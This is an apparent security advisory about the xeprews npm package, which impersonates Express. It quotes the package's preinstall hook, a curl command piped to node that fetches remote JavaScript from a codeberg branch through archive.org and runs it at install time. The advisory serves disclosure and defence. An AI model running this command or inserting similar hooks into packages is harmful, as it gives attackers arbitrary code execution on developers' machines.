xeprews

GHSA-v76j-vqp4-68j8

Malicious code in xeprews (npm)

Details

**Severity:** Critical

**Affected versions:** `= 5.2.1`

## Source: amazon-inspector (17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2)
xeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party mutable branch (no commit pin, no integrity check) and executing it under Node on the installer's machine at `npm install` time. The package impersonates expressjs/express by copying its author, repository, homepage, and description metadata, and ships only a stub index.js that re-exports './lib/express'; the impersonation is the lure that induces the install and thereby the remote code execution. Whoever controls the codeberg branch (or the archive.org replay of it) controls arbitrary code execution on every installer.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/xeprews/MAL-2026-17248.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/xeprews/MAL-2026-17248.json
- https://www.npmjs.com/package/xeprews/v/5.2.1
- https://github.com/ossf/malicious-packages/blob/d53c7e96cbe6a819c1c046bd6901f95d067d15dd/osv/malicious/npm/xeprews/MAL-2026-17248.json
- https://www.npmjs.com/package/xeprews
- https://github.com/ossf/malicious-packages/blob/0f170577c1b430bf090f13c3851498e809fd5b95/osv/malicious/npm/xeprews/MAL-2026-17248.json
- https://safedep.io/dirtyblanket-express-impersonation-npm
- https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/xeprews/MAL-2026-17248.json
- https://www.npmjs.com/package/xeprews/v/5.2.2

Compromised versions (1)

= 5.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.